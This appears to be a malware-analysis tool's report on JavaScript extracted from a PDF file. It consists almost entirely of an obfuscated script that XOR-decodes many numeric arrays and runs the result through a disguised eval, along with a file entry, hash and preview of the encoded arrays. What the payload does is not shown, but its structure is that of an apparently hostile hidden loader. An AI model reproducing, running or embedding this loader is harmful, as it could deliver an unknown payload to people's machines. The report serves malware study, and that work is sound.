ra5ma7KS0X4s52=[72,19,19,106,116,120,110,79,122,100,104,21,126,9,17,24,3,3,3,3,85,66,81,3,111,86,64,17,73,115,17,123,101,30,85,21,16,26,89,27,102,21,27,110,23,116,6,69,19,17,84,108,110,26,96,19,17,68,90,98,24,3,3,3,3,85,66,81,3,123,86,123,23,18,122,82,17,21,64,113,26,20,30,85,21,16,26,89,27,102,21,27,110,23,116,14,111,86,64,17,73,115,17,123,101,24,3,3,3,3,85,66,81,3,85,101,21,123,80,78,22,78,101,26,17,117,30,123,86,123,23,18,122,82,17,21,64,113,26,20,12,69,19,17,84,108,110,26,96,19,17,68,90,98,24,3,3,3,3,85,66,81,3,86,82,23,69,18,20,110,79,16,111,17,77,30,85,101,21,123,80,78,22,78,101,26,17,117,9,68,115,100,123,72,19,19,106,116,120,110,79,122,100,104,21,126,24,3,3,3,3,91,101,101,16,83,119,21,108,112,115,106,76,87,30,19,24,3,3,3,3,69,76,81,3,11,85,109,107,66,77,65,30,19,24,3,85,109,107,66,77,65,31,85,101,21,123,80,78,22,78,101,26,17,117,24,3,85,109,107,66,77,65,8,8,10,3,3,3,3,3,88,3,3,3,3,3,3,3,3,69,76,81,3,11,70,78,123,18,110,78,112,30,19,24,3,70,78,123,18,110,78,112,31,68,115,100,123,72,19,19,106,116,120,110,79,122,100,104,21,126,24,3,70,78,123,18,110,78,112,8,8,10,3,3,3,3,3,3,3,3,3,88,3,3,3,3,3]; G4L69pA8964=[118,17,99,18,97,60,56,56,34,60,97,53,37,111,107,46,16,16,101,38,2,96,25,5,6,31,57,34,125,51,59,14,103,27,59,5,109,118,118,118,118,118,118,118,118,118,118,118,118,44,97,2,57,12,12,30,107,23,44,16,3,62,35,34,26,52,0,111,29,111,13,17,99,18,97,60,56,56,34,60,97,53,37,111,11,109,118,118,118,118,118,118,118,118,118,118,118,118,36,19,14,15,100,21,6,2,48,33,107,17,99,18,97,60,56,56,34,60,97,53,37,111,125,49,6,17,14,61,102,102,31,1,13,27,58,15,17,29,96,11,109,118,118,118,118,118,118,118,118,118,118,118,118,23,44,16,3,62,35,34,26,52,0,111,29,111,13,17,99,18,97,60,56,56,34,60,97,53,37,111,11,107,23,44,16,3,62,35,34,26,52,0,111,29,111,13,36,19,14,15,100,21,6,2,48,33,11,109,118,118,118,118,118,118,118,118,118,118,118,118,23,44,16,3,62,35,34,26,52,0,111,29,111,13,36,19,14,15,100,21,6,2,48,33,11,107,44,97,2,57,12,12,30,109,118,118,118,118,118,118,118,118,118,118,43,118,118,118,118,118,118,118,118,46,16,16,101,38,2,96,25,5,6,31,57,34,118,125,107,48,102,100,33,25,27,111,21,102,100,49,47,23,109,118,118,118,118,118,118,118,118,118,43,118,118,43,118,118,1,110,14,60,37,98,6,107,23,44,16,3,62,35,34,26,52,0,111,29,111,120,60,57,63,56,126,116,116,127,109,51,32,55,58,126,1,110,14,60]; dp0Z5IuIt=[111,40,76,53,39]; kNwVRV6=[]; for (mo64b8=0;mo64b8<jlz814D.length;mo64b8++){jlz814D[mo64b8]=jlz814D[mo64b8]^10;}; kNwVRV6=kNwVRV6.concat(jlz814D);for (Lo0f49RsH=0;Lo0f49RsH<gx6HTe13h6.length;Lo0f49RsH++){gx6HTe13h6[Lo0f49RsH]=gx6HTe13h6[Lo0f49RsH]^16;}; kNwVRV6=kNwVRV6.concat(gx6HTe13h6);for (euw36=0;euw36<N300enGii5Cp.length;euw36++){N300enGii5Cp[euw36]=N300enGii5Cp[euw36]^25;}; kNwVRV6=kNwVRV6.concat(N300enGii5Cp);for (F0CAe85=0;F0CAe85<Y9N6Yft11dzDD.length;F0CAe85++){Y9N6Yft11dzDD[F0CAe85]=Y9N6Yft11dzDD[F0CAe85]^75;}; kNwVRV6=kNwVRV6.concat(Y9N6Yft11dzDD);for (t71oJ8L1=0;t71oJ8L1<EICrI90r6zPhqu.length;t71oJ8L1++){EICrI90r6zPhqu[t71oJ8L1]=EICrI90r6zPhqu[t71oJ8L1]^63;}; kNwVRV6=kNwVRV6.concat(EICrI90r6zPhqu);for (W43wLthh=0;W43wLthh<m9zh8Y1k.length;W43wLthh++){m9zh8Y1k[W43wLthh]=m9zh8Y1k[W43wLthh]^30;}; kNwVRV6=kNwVRV6.concat(m9zh8Y1k);for (ON8y=0;ON8y<Mo1G4q.length;ON8y++){Mo1G4q[ON8y]=Mo1G4q[ON8y]^16;}; kNwVRV6=kNwVRV6.concat(Mo1G4q);for (ZG77Ig=0;ZG77Ig<snKec.length;ZG77Ig++){snKec[ZG77Ig]=snKec[ZG77Ig]^13;}; kNwVRV6=kNwVRV6.concat(snKec);for (iMj09v91W=0;iMj09v91W<BmyGGc07F8e0aq.length;iMj09v91W++){BmyGGc07F8e0aq[iMj09v91W]=BmyGGc07F8e0aq[iMj09v91W]^41;}; kNwVRV6=kNwVRV6.concat(BmyGGc07F8e0aq);for (AV1Iy=0;AV1Iy<jh5D5uSa.length;AV1Iy++){jh5D5uSa[AV1Iy]=jh5D5uSa[AV1Iy]^44;}; kNwVRV6=kNwVRV6.concat(jh5D5uSa);for (R8V956=0;R8V956<k5lzZG60lsZXA.length;R8V956++){k5lzZG60lsZXA[R8V956]=k5lzZG60lsZXA[R8V956]^86;}; kNwVRV6=kNwVRV6.concat(k5lzZG60lsZXA);for (vzN2tmV=0;vzN2tmV<Zq1H0sq.length;vzN2tmV++){Zq1H0sq[vzN2tmV]=Zq1H0sq[vzN2tmV]^51;}; kNwVRV6=kNwVRV6.concat(Zq1H0sq);for (SCc4S8l=0;SCc4S8l<q9b62.length;SCc4S8l++){q9b62[SCc4S8l]=q9b62[SCc4S8l]^57;}; kNwVRV6=kNwVRV6.concat(q9b62);for (VLc71X=0;VLc71X<qdIJay8h0.length;VLc71X++){qdIJay8h0[VLc71X]=qdIJay8h0[VLc71X]^73;}; kNwVRV6=kNwVRV6.concat(qdIJay8h0);for (FjXgm3H7bo=0;FjXgm3H7bo<wVcGo1YiU2.length;FjXgm3H7bo++){wVcGo1YiU2[FjXgm3H7bo]=wVcGo1YiU2[FjXgm3H7bo]^89;}; kNwVRV6=kNwVRV6.concat(wVcGo1YiU2);for (enVhsuU=0;enVhsuU<MZepK871M4y8R4.length;enVhsuU++){MZepK871M4y8R4[enVhsuU]=MZepK871M4y8R4[enVhsuU]^32;}; kNwVRV6=kNwVRV6.concat(MZepK871M4y8R4);for (B0hE7OSy=0;B0hE7OSy<C00gY9603L0T.length;B0hE7OSy++){C00gY9603L0T[B0hE7OSy]=C00gY9603L0T[B0hE7OSy]^93;}; kNwVRV6=kNwVRV6.concat(C00gY9603L0T);for (F8jyP8U02c=0;F8jyP8U02c<xE289eJZV32gKwn.length;F8jyP8U02c++){xE289eJZV32gKwn[F8jyP8U02c]=xE289eJZV32gKwn[F8jyP8U02c]^27;}; kNwVRV6=kNwVRV6.concat(xE289eJZV32gKwn);for (q1kGml=0;q1kGml<kUf3xaJ.length;q1kGml++){kUf3xaJ[q1kGml]=kUf3xaJ[q1kGml]^42;}; kNwVRV6=kNwVRV6.concat(kUf3xaJ);for (x9p6q1=0;x9p6q1<ra5ma7KS0X4s52.length;x9p6q1++){ra5ma7KS0X4s52[x9p6q1]=ra5ma7KS0X4s52[x9p6q1]^35;}; kNwVRV6=kNwVRV6.concat(ra5ma7KS0X4s52);for (Hb4G2j9057=0;Hb4G2j9057<G4L69pA8964.length;Hb4G2j9057++){G4L69pA8964[Hb4G2j9057]=G4L69pA8964[Hb4G2j9057]^86;}; kNwVRV6=kNwVRV6.concat(G4L69pA8964);for (HT881KA=0;HT881KA<dp0Z5IuIt.length;HT881KA++){dp0Z5IuIt[HT881KA]=dp0Z5IuIt[HT881KA]^28;}; kNwVRV6=kNwVRV6.concat(dp0Z5IuIt); RuJ8okY6Y=function(Cl1KDYOXHj){ RXqxT9c7=["e","m","v","n","a","d","x","l"]; GOkMl=RXqxT9c7[0]+RXqxT9c7[2]+RXqxT9c7[4]+RXqxT9c7[7]; rorar=this; yEpiwgJ =rorar[GOkMl]; yEpiwgJ(Cl1KDYOXHj); } h6cSYK=function(nyomt9){ aBS8=""; Yyw28r8=["dd","fjdk","fro","mChar","Co","dk","eee","de"]; k65FvWr8e=Yyw28r8[2]+Yyw28r8[3]+Yyw28r8[4]+Yyw28r8[7]; for (ly9o=0;ly9o<nyomt9.length;ly9o++){ gogor=this; roter=gogor["St"+"ri"+"ng"]; aBS8 += roter[k65FvWr8e](nyomt9[ly9o]); } return aBS8; } RuJ8okY6Y(h6cSYK(kNwVRV6));
`deobfuscated.js`	deobfuscated-js	PDF JavaScript deobfuscation pass	65603 bytes
SHA-256: `f1c41abaf3a47862615f7d3e154dc9922019ed4fb955835fde9b6101a87e13e1`
Preview script First 1,000 lines of the extracted script jlz814D=[42,124,107,120,42,93,50,82,96,121,62,90,55,40,127,42,105,108,34,126,42,85,99,99,99,100,111,42,121,115,107,101,42,100,35,102,100,126,114,42,111,98,99,120,108,113,125,122,126,111,115,102,115,100,100,107,38,107,120,34,120,113,32,109,49,36,102,121,54,121,122,98,122,122,107,33,121,115,35,107,55,102,111,56,120,120,126,127,120,55,115,119,122,121,99,121,115,107,56,111,122,120,58,36,100,100,109,37,121,121,49,38,127,49,127,126,104,120,111,35,102,34,115,120,126,120,99,108,100,42,119,42,99,100,120,100,34,121,98,35,105,121,122,107,113,110,100,126,105,120,42,105,107,124,122,101,110,102,86,40,122,102,55,42,47,111,111,42,101,127,111,127,50,121,127,100,57,72,34,58,47,107,111,127,60,57,73,58,62,62,47,58,47,58,57,127,47,127,59,73,50,127,47,127,58,72,62,50,58,127,61,58,47,73,47,127,61,72,47,73,50,127,63,50,47,72,75,78,50,127,50,51,47,58,58,50,47,78,79,72,58,127,62,127,57,72,62,58,63,62,47,127,50,50,61,127,50,75,47,73,57,72,47,127,62,73,60,72,79,56,47,59,47,62,47,127,56,127,79,72,63,127,50,72,47,75,79,73,79,127,78,76,47,60,50,75,63,56,63,56,62,127,63,75,47,60,63,61,58,127,47,127,79,62,63,57,47,127,47,51,61,63,47,127,50,57,47,62,57,72,47,127,47,72,50,127,63,57,50,57,63,73,47,127,47,60,61,57,76,127,57,127,58,50,58,72,50,57]; gx6HTe13h6=[39,38,53,101,39,101,53,32,36,33,86,101,53,35,53,35,35,32,53,101,35,38,37,101,53,101,34,35,53,41,36,101,86,86,53,41,81,101,83,85,53,84,35,101,53,101,53,34,32,86,82,101,39,101,83,36,32,35,53,86,35,40,86,101,33,101,83,36,32,40,32,33,53,35,53,84,32,101,86,86,53,37,85,81,53,101,37,82,85,37,36,101,86,40,53,32,53,101,85,101,39,40,35,101,40,82,53,82,36,38,37,101,83,35,53,40,40,35,53,85,34,36,32,101,36,83,53,35,38,38,33,82,53,101,32,83,32,101,37,35,53,82,32,38,53,101,40,36,84,35,37,35,53,101,53,82,40,101,83,101,32,35,40,81,53,85,53,84,37,32,83,101,40,101,53,40,35,84,39,86,32,40,53,101,37,34,53,82,85,40,82,101,53,35,37,81,37,39,53,101,86,86,86,101,53,101,37,86,53,81,40,101,53,101,53,34,81,101,83,32,53,34,81,86,53,101,53,85,35,34,83,101,86,101,34,82,86,39,36,85,86,40,53,101,40,101,38,86,82,38,38,37,53,40,53,37,39,101,53,101,40,81,41,101,53,101,81,40,38,82,38,101,38,83,53,38,53,101,81,40,53,82,82,101,37,32,53,32,85,32,41,101,34,85,53,34,38,40,53,37,38,86,38,101,39,101,38,85,38,36,37,40,53,101,39,36,38,101,38,85,53,83,82,84,53,101,36,40,40,37,32,86,53,83,53,85,53,101,37,101,86,35,32,101,41,35,53,85,37,32,35,101,85,32,53,37,32,32]; N300enGii5Cp=[44,45,44,41,90,108,44,91,60,95,33,42,90,108,60,108,33,43,46,47,60,108,60,45,42,42,60,108,44,40,60,33,42,41,60,108,60,43,90,108,33,47,44,41,95,43,60,108,60,95,91,95,46,108,44,108,42,88,43,44,44,42,41,45,60,108,40,108,60,33,95,92,95,108,60,46,60,95,44,91,60,108,44,44,32,108,60,108,44,92,60,47,91,108,95,95,60,33,33,108,44,46,60,88,41,108,60,108,60,41,41,45,44,108,47,108,41,33,92,95,60,45,90,92,92,108,91,108,44,41,95,95,47,44,60,45,60,33,46,108,46,95,60,42,42,45,60,108,43,88,43,42,46,108,46,44,60,41,60,108,46,108,46,95,46,108,47,40,60,43,47,92,47,108,47,41,60,92,47,95,60,32,43,93,46,108,47,92,60,95,46,42,43,45,60,108,43,95,47,108,46,45,60,44,46,45,60,108,46,41,46,95,47,90,60,108,60,95,47,108,47,108,47,41,47,95,60,45,60,33,43,92,46,108,43,108,60,90,42,41,46,40,42,95,60,108,47,41,60,47,44,95,47,108,60,93,46,45,47,42,60,108,41,41,47,108,60,108,46,44,60,41,47,48,60,108,57,92,47,108,46,111,69,59,124,57,46,57,123,69,59,108,120,107,34,60,46,122,108,114,117,118,124,41,119,105,106,36,122,60,122,49,120,93,122,41,107,41,122,41,108,57,122,90,95,99,120,69,59,75,74,87,126,94,120,48,85,120,74,120,34,108,119,111,57,67,127,108,124,122,120,41,96,36,57,86,122,60]; Y9N6Yft11dzDD=[23,105,59,62,46,56,123,40,110,62,99,40,110,40,110,62,123,40,123,62,123,40,123,40,123,40,110,40,123,40,110,62,123,40,110,62,123,62,123,40,123,62,123,62,126,122,110,40,123,62,123,115,110,62,123,40,127,46,110,40,110,126,127,62,125,62,110,40,127,127,125,47,110,45,124,62,126,122,127,121,127,115,127,120,110,62,125,41,127,46,124,62,127,42,110,114,127,62,127,125,124,122,126,62,110,41,110,122,126,62,125,62,126,114,127,41,110,127,110,47,110,114,126,62,127,62,110,42,124,114,124,114,110,121,125,62,127,46,110,121,125,45,125,62,125,62,124,42,127,122,110,42,125,120,110,47,127,62,125,121,110,62,126,46,110,120,110,120,125,62,127,125,127,122,127,123,110,62,126,121,110,126,124,62,126,127,126,120,110,62,124,124,110,40,110,62,127,120,110,62,126,122,127,62,126,124,110,121,126,34,110,62,112,60,23,105,62,124,32,125,41,39,46,126,47,101,39,40,125,35,98,124,107,44,63,99,123,46,37,39,39,98,118,35,32,39,107,112,36,107,120,119,41,40,40,41,32,125,115,39,96,121,124,36,36,40,41,40,36,118,36,62,32,118,41,32,41,39,115,121,44,57,34,101,63,56,102,125,56,37,46,40,123,107,46,103,36,107,56,47,120,99,39,39,46,50,63,44,124,46,37,101,39,35,38,35,36,98,112,37,98,50,118,112,57,45,38,60,99,123,51,34,107,36,57,46,118,57,42,10,123,34,119,36,112,123,99,57,34,123,22,50,123,98,107,32,16,96]; EICrI90r6zPhqu=[20,4,31,13,31,20,82,68,82,80,31,86,83,2,77,90,83,76,92,93,77,80,87,83,92,90,91,83,17,90,91,79,85,86,4,79,111,77,81,79,86,66,118,107,103,75,74,72,94,75,92,103,83,23,119,69,92,120,99,29,106,87,81,113,101,82,74,123,88,124,94,124,84,69,89,75,31,81,99,29,123,125,108,90,19,112,93,91,23,90,74,22,86,4,72,83,22,31,99,29,75,17,75,78,110,80,23,108,79,91,116,113,114,77,108,82,86,86,84,118,71,81,85,117,83,113,75,116,103,81,99,29,86,82,73,102,89,80,72,31,120,111,75,22,22,31,120,89,101,88,123,4,113,90,70,90,19,31,75,116,81,113,68,77,72,17,82,86,76,23,87,75,23,94,81,17,22,74,91,111,83,86,83,90,70,83,94,90,66,23,77,94,75,94,90,31,92,4,81,90,66,92,88,120,123,86,87,91,75,68,83,74,31,17,124,121,69,94,79,109,108,22,70,94,75,77,115,94,108,90,86,113,23,81,19,101,89,74,23,90,72,80,22,31,81,112,81,75,74,31,75,31,123,75,74,4,66,22,89,94,96,75,86,81,92,86,86,89,77,83,81,79,77,68,79,94,92,94,73,81,90,2,70,31,124,23,23,94,79,83,22,15,12,74,80,76,74,94,9,74,7,90,91,12,26,99,29,8,74,26,125,7,125,15,125,26,74,12,11,15,74,26,124,7,15,26,124,11,15,11,7,26,74,8,74,26,124,26,123,14,15,7,74,26,15,11,125,26,7,10,125,15,74,7,74,126,7,8]; m9zh8Y1k=[42,46,46,38,39,59,92,59,107,91,107,42,90,43,93,43,107,59,46,59,93,45,107,59,38,91,47,59,107,38,44,59,92,59,107,40,95,44,92,59,92,42,95,45,107,59,44,91,42,91,93,38,95,91,107,90,107,59,88,38,45,42,44,43,42,59,107,43,92,43,107,43,43,91,95,59,107,59,107,59,39,38,107,43,107,46,40,59,107,43,92,59,41,41,40,45,45,41,38,59,107,38,45,41,107,45,93,38,92,88,107,43,45,59,40,38,107,59,40,46,42,44,107,46,39,59,107,41,45,93,107,59,45,45,92,59,45,59,107,45,46,95,107,43,107,42,45,59,90,42,45,88,39,59,46,88,107,59,40,59,107,45,47,47,107,92,88,46,38,59,45,88,91,46,38,41,107,46,42,46,88,93,107,93,44,59,42,59,107,45,107,59,88,45,92,42,107,59,90,59,47,43,107,59,46,43,38,59,38,88,45,46,95,59,107,91,92,91,43,59,43,41,88,91,107,59,91,40,42,59,40,38,93,42,107,88,107,59,92,38,92,46,40,93,45,59,107,59,107,44,107,42,40,46,45,47,107,59,38,59,92,38,107,46,93,43,95,59,107,43,45,59,45,46,45,90,42,93,91,59,107,38,46,43,107,59,88,46,92,93,107,38,44,59,107,38,107,59,90,43,45,43,38,41,95,59,107,46,45,93,107,92,95,43,90,59,88,59,107,45,41,95,107,43,107,38,38,59,107,91,45,59,38,88,92,88,107,59,88,59,107,88,41,38,107,93,88,92,44,88,107,95,46,59,38,42,107,45]; Mo1G4q=[82,86,34,38,101,34,85,53,86,53,34,81,101,53,85,82,40,38,32,53,101,39,37,81,101,53,38,41,37,53,82,38,40,38,82,53,101,38,101,53,81,53,32,40,38,41,101,53,83,38,86,53,40,37,40,38,101,34,101,85,32,38,40,38,36,39,85,53,85,53,101,38,101,39,37,32,40,37,101,53,34,53,83,38,101,53,36,32,83,53,101,38,86,53,84,53,101,40,85,37,35,53,37,36,85,82,101,53,36,86,85,35,32,41,82,37,101,85,101,53,32,32,38,83,32,37,34,53,101,37,35,40,101,37,35,40,32,53,101,53,101,53,36,37,101,39,101,83,37,53,101,40,32,53,35,35,86,37,33,82,81,53,101,83,86,33,101,35,34,37,34,39,101,86,38,53,36,37,101,53,86,34,40,37,101,35,40,53,101,32,32,37,101,53,35,32,37,53,85,53,101,37,82,40,101,41,101,82,86,53,81,86,39,86,38,53,40,86,101,53,37,53,101,37,85,82,101,37,86,86,85,53,86,85,39,85,86,38,101,32,40,39,36,37,101,32,32,53,32,53,101,83,101,53,36,39,81,39,101,53,40,53,37,34,101,53,32,38,37,53,86,39,36,38,36,53,101,34,34,39,35,53,35,39,86,35,101,53,41,39,84,53,85,38,85,38,101,39,101,53,33,38,36,39,35,38,32,53,101,53,101,34,101,38,36,34,86,34,101,53,85,53,37,39,101,38,86,38,86,53,101,39,83,53,36,39,86,39,32,38,36,53,101,38,85,38,101,53,33,38,86,39,101,38,32,53,101,34]; snKec=[120,40,53,63,75,58,75,58,57,40,120,62,61,58,120,59,61,58,61,40,60,40,120,62,62,58,120,59,120,59,78,40,120,56,73,40,75,59,59,59,120,81,47,79,99,36,59,125,48,99,54,62,81,47,61,108,104,126,123,40,40,120,37,108,120,98,127,120,61,76,110,45,61,76,125,120,61,76,40,127,54,76,45,104,61,76,61,101,108,76,40,99,61,76,104,76,40,120,61,108,48,98,125,102,97,123,38,111,81,47,36,61,125,110,106,45,105,97,98,98,116,108,97,100,125,108,108,104,123,111,48,108,126,98,110,110,127,54,104,120,36,61,120,40,111,37,81,47,125,99,102,76,61,126,105,104,81,47,76,104,76,61,127,127,120,54,119,108,127,104,123,61,76,40,48,100,101,108,127,54,123,100,61,63,108,45,116,125,104,104,126,104,108,102,38,48,101,108,35,45,125,97,126,105,104,98,104,101,97,108,119,127,101,99,110,111,110,101,106,111,122,121,100,54,97,97,104,125,127,102,104,49,126,121,35,98,106,37,118,108,116,97,111,97,98,100,100,36,101,99,100,38,48,127,106,106,111,111,45,123,111,111,48,110,102,111,100,97,98,106,100,102,97,97,108,54,112,106,97,110,102,107,111,98,102,97,126,110,110,120,98,111,61,99,111,35,108,36,126,37,127,126,106,127,45,123,121,33,111,127,48,98,110,108,100,111,97,106,116,125,100,102,111,37,126,35,54,110,102,111,106,33,121,120,106,97,104,111,111,97,98,126,97,99,100,100,101,102,61,32,110,99,106,127,126,121,97,104]; BmyGGc07F8e0aq=[18,72,80,71,91,89,7,70,1,0,90,93,65,70,74,64,65,75,7,2,69,94,91,25,76,66,25,21,25,72,80,89,78,69,82,81,74,75,69,70,29,66,69,0,74,75,25,66,2,70,74,70,20,75,69,25,64,66,74,75,95,66,18,72,69,69,2,70,91,84,69,79,80,76,68,1,71,9,68,72,0,72,104,18,91,118,72,20,79,76,94,20,25,91,95,70,80,91,91,9,91,9,91,1,64,72,25,21,18,29,91,64,24,118,72,76,2,25,69,18,64,72,80,2,64,70,74,75,0,91,68,82,89,65,76,114,68,66,2,116,71,72,69,72,16,16,91,16,20,70,74,75,16,16,68,9,16,84,95,16,24,66,18,92,16,16,16,16,16,16,16,17,16,27,16,20,17,16,17,17,17,17,17,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17]; jh5D5uSa=[20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,89,20,20,20,20,88,20,20,20,20,20,92,20,0,28,74,66,23,28,69,2,88,94,64,74,89,66,79,112,14,4,74,89,69,5,66,25,112,14,66,88,69,77,9,23,28,24,79,67,81,65,69,64,77,73,4,67,64,12,64,95,77,64,65,78,115,79,79,5,87,64,77,73,17,67,68,94,12,73,72,90,66,73,95,89,89,4,28,9,28,31,112,14,9,89,26,31,111,20,92,89,24,28,9,73,9,89,27,89,31,24,20,89,20,110,9,110,24,28,28,89,27,110,9,20,28,28,9,111,28,111,20,89,25,110,9,110,29,111,28,104,9,89,20,21,20,89,105,28,9,20,20,110,9,89,109,104,24,110,25,111,9,89,9,24,31,89,20,89,27,24,25,28,9,111,9,109,26,109,24,89,24,89,9,110,105,29,104,20,105,30,9,89,31,30,9,109,25,30,20,89,9,111,105,106,25,110,9,89,20,21,105,89,9,89,30,109,9,110,24,89,9,89,9,31,20,89,105,24,9,110,27,26,9,89,9,31,25,25,28,89,25,89,31,26,25,27,31,31,20,110,9,89,25,89,27,111,20,26,27,24,9,31,9,20,28,89,9,89,31,31,20,89]; k5lzZG60lsZXA=[115,35,100,20,97,101,99,35,16,101,115,96,115,35,16,111,115,102,102,35,99,102,115,101,21,111,98,35,16,101,115,98,98,103,115,19,23,18,101,35,103,35,102,16,101,96,16,16,115,35,20,100,102,35,101,110,115,101,97,110,115,35,21,98,102,23,98,101,115,18,115,103,115,35,16,35,102,110,21,35,19,20,115,16,19,16,99,35,102,20,115,20,98,110,16,102,97,99,101,35,110,19,115,101,96,96,102,35,115,35,99,101,21,99,115,35,115,96,102,98,115,35,19,21,115,96,103,20,115,35,115,20,110,35,100,21,110,20,102,110,115,35,115,98,99,101,110,35,98,35,99,101,18,23,110,16,102,101,115,35,102,35,115,18,102,110,99,35,115,102,115,19,99,101,115,35,101,101,97,35,115,35,21,100,115,101,110,35,20,110,115,18,99,35,21,23,115,97,99,35,115,35,115,16,21,23,110,35,16,35,21,20,19,110,115,102,23,100,16,35,99,35,101,16,16,16,110,100,115,97,115,20,16,35,16,110,115,110,98,100,115,35,96,16,20,20,23,35,96,99,115,19,115,35,23,35,97,99,100,35,111,110,115,19,96,96,96,35,96,102,115,102,96,21,115,96,23,20,20,35,99,110,115,19,110,23,96,102,115,35,111,19,100,35,96,98,115,110,97,16,115,35,19,99,96,18,99,21,115,35,115,110,96,35,96,35,96,19,102,100,115,110,115,19,110,19,98,35,97,35,115,101,99,21,19,98,16,16,115,35,20,98,115,102,99,102,111,35,115,102,102,102,99,99,115,35,102,98]; Zq1H0sq=[11,70,22,70,6,113,22,0,112,70,22,70,22,5,6,70,0,1,22,1,0,6,22,70,22,2,11,0,112,70,6,70,0,117,11,0,6,5,112,3,22,70,4,70,113,1,6,7,2,11,22,117,22,114,1,70,22,70,6,4,6,70,22,70,6,6,3,3,117,70,117,117,22,117,22,70,4,11,22,113,0,70,10,11,22,0,6,5,113,70,117,118,22,11,117,118,22,4,11,114,3,70,113,70,3,117,6,6,118,7,22,70,6,3,118,70,112,117,22,117,5,118,22,70,6,3,117,7,4,7,22,11,22,6,22,70,4,70,4,117,3,70,0,114,22,7,1,117,1,70,5,1,22,2,5,6,4,3,4,0,4,70,5,10,22,117,4,0,4,70,22,70,5,3,5,0,22,70,22,118,1,119,22,70,4,118,22,7,1,6,22,70,22,7,4,70,1,117,5,117,4,118,22,70,22,3,4,7,5,70,5,70,5,117,4,117,1,2,5,112,22,70,5,70,22,3,0,117,5,70,22,118,22,7,1,117,22,70,0,119,4,70,22,70,5,3,22,3,5,70,5,112,22,11,4,70,4,7,22,0,4,70,22,70,111,17,2,4,3,5,26,5,70,8,5,6,117,65,69,4,3,5,65,5,94,82,0,5,113,108,65,22,94,19,82,86,68,14,114,86,80,65,93,82,65,8,65,19,80,82,75,80,14,82,74,3,80,3,74,19,69,27,65,8,69,3,26,3,80,3,3,7,82,82,108,19,3,95,80,87,87,19,86,80,3,3,87,3,75,93,69,65,14,3,14,92,95,64]; q9b62=[90,92,74,85,81,88,75,2,92,85,87,25,11,77,81,92,94,87,88,92,23,19,92,90,79,4,20,88,102,93,93,85,75,2,18,17,4,75,1,10,85,9,65,87,74,75,88,16,76,17,101,27,73,2,73,74,79,74,28,25,76,9,0,9,0,87,64,88,75,9,0,88,92,64,0,9,77,76,28,92,90,75,2,74,64,16,4,95,2,88,74,73,88,79,101,27,21,88,80,80,65,87,75,75,92,73,17,102,76,25,16,85,9,11,90,13,77,86,4,87,9,17,22,86,75,9,90,2,95,93,9,9,65,90,75,17,79,16,20,87,77,9,90,88,75,88,76,2,90,90,93,86,76,25,86,11,77,86,84,4,9,102,87,5,90,87,88,92,16,77,2,87,77,75,18,86,76,76,75,66,90,88,76,98,84,87,64,18,18,75,77,86,2,86,81,73,85,100,74,68,79,92,4,74,86,64,92,25,86,85,88,88,75,85,90,92,95,79,90,9,74,92,93,76,87,75,76,9,92,90,80,2,78,9,88,78,4,73,90,81,101,27,28,92,101,27,90,17,90,28,76,17,86,85,81,87,86,75,95,16,92,79,16,9,94,85,75,86,23,5,13,85,79,77,0,92,92,78,85,92,11,13,4,18,75,86,78,95,66,12,78,86,86,91,106,77,79,85,68,86,81,2,85,80,92,91,23,77,74,85,88,95,122,75,85,23,85,90,86,95,90,86,88,86,90,85,85,4,86,84,88,84,66,77,124,92,74,101,27,83,94,87,80,85,68,3,74,76,17,16,112,75,86,21,3,101,27,86]; qdIJay8h0=[63,43,37,44,62,47,42,47,32,39,44,38,60,43,22,37,39,61,50,114,38,61,32,105,52,32,47,96,42,46,40,38,45,57,57,42,37,97,40,39,44,43,42,103,59,50,103,105,97,103,10,38,40,40,0,46,59,37,40,59,38,38,37,61,59,8,44,48,105,39,63,48,116,39,96,42,97,62,40,61,105,63,40,59,114,96,60,48,40,59,108,44,63,116,42,57,97,39,44,21,107,44,63,10,40,108,121,108,122,33,121,122,60,57,58,127,60,108,121,113,121,113,60,125,11,126,11,108,60,113,10,126,11,121,60,122,125,121,60,108,10,113,60,120,60,108,10,125,113,8,60,108,112,108,60,121,60,12,13,108,11,113,121,125,13,108,113,124,11,122,11,113,60,121,113,126,125,108,121,122,121,108,60,125,60,108,10,127,60,124,123,13,10,124,60,12,125,108,8,108,113,12,120,108,60,113,60,12,11,123,60,108,8,125,11,108,60,125,11,108,123,12,8,12,60,108,10,113,60,113,11,108,15,121,127,113,122,108,123,124,125,108,60,124,8,124,112,124,124,124,60,124,127,108,60,113,11,108,126,108,122,122,60,108,60,108,60,121,125,126,11,108,122,124,113,108,60,113,122,126,122,122,10,15,60,108,122,108,11,126,127,113,127,125,122,123,60,108,120,124,112,121,60,126,122,10,121,108,60,122,60,15,122,108,60,122,121,8,60,108,12,15,60,122,60,108,13,125,112,121,127,108,123,108,60,121,60,122,15,120,113,11,15,121,15,108,122,108,125,10,113,126,60,15,125,121,60,108]; 